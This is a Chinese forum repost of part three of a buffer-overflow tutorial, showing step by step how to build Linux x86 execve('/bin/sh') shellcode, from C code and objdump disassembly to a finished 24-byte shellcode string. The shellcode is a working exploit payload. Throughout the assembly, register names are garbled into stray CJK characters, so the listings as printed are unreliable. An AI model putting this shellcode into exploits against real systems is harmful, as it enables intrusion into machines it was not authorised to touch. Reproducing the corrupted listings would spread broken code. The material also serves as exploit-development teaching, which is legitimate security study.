• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    缓冲区溢出解密三

    发布者: 天下网吧 | 发布时间: 2025-6-28 23:38| 查看数: 33| 评论数: 0|帖子模式

    如何执行 /bin/sh?
    在C中,spawn出一个shell的代码可能象这样:
    shell.c :
    #include
    void main()
    {
            char *shell[2];
            shell[0] = "/bin/sh";
            shell[1] = NULL;
            execve(shell[0], shell, NULL);
    }
    [murat@victim murat]$ make shell
    cc -W -Wall -pedantic -g    shell.c   -o shell
    [murat@victim murat]$ ./shell
    bash$
    如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。
    目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!
    这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。
    因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。
    首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:
    [murat@victim murat]$ gcc -static -g -o shell shell.c
    [murat@victim murat]$ objdump -d shell | grep \: -A 12
    0804ca10 :
    804ca10:       53              pushl  離
    804ca11:       8b 54 24 10     movl   0x10(%esp,1),韝
    804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),靫
    804ca19:       8b 5c 24 08     movl   0x8(%esp,1),離
    804ca1d:       b8 0b 00 00 00  movl   $0xb,陎
    804ca22:       cd 80           int    $0x80
    804ca24:       5b              popl   離
    804ca25:       3d 01 f0 ff ff  cmpl   $0xfffff001,陎
    804ca2a:       0f 83 00 02 00  jae    804cc30
    804ca2f:       00
    804ca30:       c3              ret
    804ca31:       90              nop
    [murat@victim murat]$让我们一步一步地分析这个系统调用:
    记住,在我们的main()函数里,我们写了代码:
    execve(shell[0], shell, NULL)
    我们传递了:
    ·字符串”/bin/sh”的地址
    ·NULL结尾数组的地址
    ·NULL(实际上它是环境地址)
    此处,在main里面:
    [murat@victim murat]$ objdump -d shell | grep \:  -A 17
    08048124 :
    8048124:       55              pushl  雙
    8048125:       89 e5           movl   %esp,雙
    8048127:       83 ec 08        subl   $0x8,%esp
    804812a:       c7 45 f8 ac 92  movl   $0x80592ac,0xfffffff8(雙)
    804812f:       05 08
    8048131:       c7 45 fc 00 00  movl   $0x0,0xfffffffc(雙)
    8048136:       00 00
    8048138:       6a 00           pushl  $0x0
    804813a:       8d 45 f8        leal   0xfffffff8(雙),陎
    804813d:       50              pushl  陎
    804813e:       8b 45 f8        movl   0xfffffff8(雙),陎
    8048141:       50              pushl  陎
    8048142:       e8 c9 48 00 00  call   804ca10
    8048147:       83 c4 0c        addl   $0xc,%esp
    804814a:       c9              leave
    804814b:       c3              ret
    804814c:       90              nop
    在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。
    因此,如果我们回到__execve:
    我们拷贝NULL字节到EDX寄存器,
    804ca11:       8b 54 24 10     movl   0x10(%esp,1),韝
    我们拷贝以NULL结尾数组的地址到ECX寄存器,
    804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),靫
    我们拷贝字符串"/bin/sh"的地址到EBX寄存器
    804ca19:       8b 5c 24 08     movl   0x8(%esp,1),離
    我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:
    804ca1d:       b8 0b 00 00 00  movl   $0xb,陎
    接着变成核模式:
    804ca22:       cd 80           int    $0x80
    我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:
    xorl 陎, 陎
    pushl 陎
    pushl   $0x68732f2f
    pushl   $0x6e69622f
    movl    %esp,離
    pushl   陎
    pushl   離
    movl    %esp,靫
    cdql
    movb    $0x0b,%al
    int     $0x80
    让我解释一下上面的指令:
    如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。
    xorl 陎, 陎
    接着我们把NULL推入堆栈:
    pushl 陎
    我们把字符串”//sh”推入堆栈,
    2f is /
    2f is /
    73 is s
    68 is h
            pushl   $0x68732f2f我们把字符串”/bin”推入堆栈:
    2f is /
    62 is b
    69 is i
    6e is n
    pushl   $0x6e69622f
    可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。
    movl %esp,離
    接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。
    pushl 陎
    接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]:
    pushl 離
    现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:
    movl %esp,靫
    我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:
    cdql
    我们设定EAX 为0xb,这是系统调用表中的系统调用id。
    movb $0x0b,%al
    接着,我们转换到核模式:
    int 0x80
    之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell…… 因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码:
    sc.c :
    char newsc[]=              /* 24 bytes                       */
        "\x31\xc0"             /* xorl    陎,陎              */
        "\x50"                 /* pushl   陎                   */
        "\x68""//sh"           /* pushl   $0x68732f2f            */
        "\x68""/bin"           /* pushl   $0x6e69622f            */
        "\x89\xe3"             /* movl    %esp,離              */
        "\x50"                 /* pushl   陎                   */
        "\x53"                 /* pushl   離                   */
        "\x89\xe1"             /* movl    %esp,靫              */
        "\x99"                 /* cdql                           */
        "\xb0\x0b"             /* movb    $0x0b,%al              */
        "\xcd\x80"             /* int     $0x80                  */
    ;
    main()
    {
    }
    [murat@victim newsc]$ gcc -g -o sc sc.c
    [murat@victim newsc]$ objdump -D sc | grep \ -A13
    080494b0 :
    80494b0:       31 c0           xorl   陎,陎
    80494b2:       50              pushl  陎
    80494b3:       68 2f 2f 73 68  pushl  $0x68732f2f
    80494b8:       68 2f 62 69 6e  pushl  $0x6e69622f
    80494bd:       89 e3           movl   %esp,離
    80494bf:       50              pushl  陎
    80494c0:       53              pushl  離
    80494c1:       89 e1           movl   %esp,靫
    80494c3:       99              cltd
    80494c4:       b0 0b           movb   $0xb,%al
    80494c6:       cd 80           int    $0x80
    80494c8:       00 00           addb   %al,(陎)
            ...
    [murat@victim newsc]$
    在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。
                                                    上一页12 下一页 阅读全文
    来源:https://www.jb51.net/hack/5145.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表